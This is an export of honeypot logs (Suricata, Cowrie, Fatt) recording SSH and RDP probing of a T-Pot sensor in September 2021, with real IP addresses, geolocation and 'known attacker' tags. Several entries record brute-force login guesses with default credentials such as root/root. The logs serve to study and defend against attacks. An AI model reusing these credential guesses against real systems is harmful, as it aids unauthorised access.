{"flowbits": ["ms.rdp.established"]}, "src_port": 65261, "dest_port": 3389, "timestamp": "2021-09-20T11:06:51.625546Z", "@timestamp": "2021-09-20T11:06:51.625Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
36368	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:13:47.007521+03	2021-09-20 15:15:04.492693+03	{"_id": "yQYgA3wBvYTbRNuEaGHH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 3365, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1020857807478113, "@version": "1", "in_iface": "enp5s0", "src_port": 45559, "dest_port": 53, "timestamp": "2021-09-20T12:13:47.007521Z", "@timestamp": "2021-09-20T12:13:47.007Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
21661	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:51.144755+03	2021-09-20 14:15:03.944613+03	{"_id": "EgbjAnwBvYTbRNuEIAPr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1181884458132765, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54262, "dest_port": 22, "timestamp": "2021-09-20T11:06:51.144755Z", "@timestamp": "2021-09-20T11:06:51.144Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21662	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:51.561451+03	2021-09-20 14:15:03.945612+03	{"_id": "FAbjAnwBvYTbRNuEIAPr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1526132529384605, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57806, "dest_port": 22, "timestamp": "2021-09-20T11:06:51.561451Z", "@timestamp": "2021-09-20T11:06:51.561Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21663	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:51.598684+03	2021-09-20 14:15:03.947612+03	{"_id": "GwbjAnwBvYTbRNuEIgNR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:49686 (192.168.176.2:22) [session: 8f3b30debfb6]", "session": "8f3b30debfb6", "@version": "1", "protocol": "ssh", "src_port": 49686, "dest_port": 22, "timestamp": "2021-09-20T11:06:51.598684Z", "@timestamp": "2021-09-20T11:06:51.598Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21664	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:52.071622+03	2021-09-20 14:15:03.948613+03	{"_id": "OAbjAnwBvYTbRNuEIgNS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3bcde3b08a76", "@version": "1", "timestamp": "2021-09-20T11:06:52.071622Z", "@timestamp": "2021-09-20T11:06:52.071Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21665	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:52.091655+03	2021-09-20 14:15:03.949612+03	{"_id": "OQbjAnwBvYTbRNuEIgNS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "bd2a8e22537c", "@version": "1", "duration": 3.110178232192993, "timestamp": "2021-09-20T11:06:52.091655Z", "@timestamp": "2021-09-20T11:06:52.091Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21666	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:51.923906+03	2021-09-20 14:15:03.950612+03	{"_id": "ZwbjAnwBvYTbRNuEJAPU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 763891798464453, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39402, "dest_port": 22, "timestamp": "2021-09-20T11:06:51.923906Z", "@timestamp": "2021-09-20T11:06:51.923Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21667	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:53.015637+03	2021-09-20 14:15:03.952613+03	{"_id": "pgbjAnwBvYTbRNuEKAO_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 454471616984356, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52836, "dest_port": 22, "timestamp": "2021-09-20T11:06:53.015637Z", "@timestamp": "2021-09-20T11:06:53.015Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21668	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:54.327264+03	2021-09-20 14:15:03.953613+03	{"_id": "EQbjAnwBvYTbRNuELgQQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:35770 (192.168.176.2:22) [session: dc7ac314b893]", "session": "dc7ac314b893", "@version": "1", "protocol": "ssh", "src_port": 35770, "dest_port": 22, "timestamp": "2021-09-20T11:06:54.327264Z", "@timestamp": "2021-09-20T11:06:54.327Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21669	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:54.942927+03	2021-09-20 14:15:03.954613+03	{"_id": "BAbjAnwBvYTbRNuELgQN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5359a7b6c7bf", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:54.942927Z", "@timestamp": "2021-09-20T11:06:54.942Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21670	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:55.01232+03	2021-09-20 14:15:03.955614+03	{"_id": "BQbjAnwBvYTbRNuELgQN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [vmware/vmware] failed", "session": "5dc9ab4fe927", "@version": "1", "password": "vmware", "username": "vmware", "timestamp": "2021-09-20T11:06:55.012320Z", "@timestamp": "2021-09-20T11:06:55.012Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21676	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:54.321075+03	2021-09-20 14:15:03.963613+03	{"_id": "HQbjAnwBvYTbRNuELgQQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "2523bada16f3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:54.321075Z", "@timestamp": "2021-09-20T11:06:54.321Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21671	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:53.953788+03	2021-09-20 14:15:03.957613+03	{"_id": "JgbjAnwBvYTbRNuELgQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44406, "timestamp": "2021-09-20T11:06:53.953788", "@timestamp": "2021-09-20T11:06:53.953Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21672	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:54.24343+03	2021-09-20 14:15:03.958613+03	{"_id": "GQbjAnwBvYTbRNuELgQQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "527431374750", "@version": "1", "timestamp": "2021-09-20T11:06:54.243430Z", "@timestamp": "2021-09-20T11:06:54.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21673	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:54.271372+03	2021-09-20 14:15:03.959612+03	{"_id": "GgbjAnwBvYTbRNuELgQQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/root] failed", "session": "6c67bb7f16fc", "@version": "1", "password": "root", "username": "root", "timestamp": "2021-09-20T11:06:54.271372Z", "@timestamp": "2021-09-20T11:06:54.271Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21674	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:54.273769+03	2021-09-20 14:15:03.960613+03	{"_id": "GwbjAnwBvYTbRNuELgQQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3bcde3b08a76", "@version": "1", "duration": 2.474513053894043, "timestamp": "2021-09-20T11:06:54.273769Z", "@timestamp": "2021-09-20T11:06:54.273Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
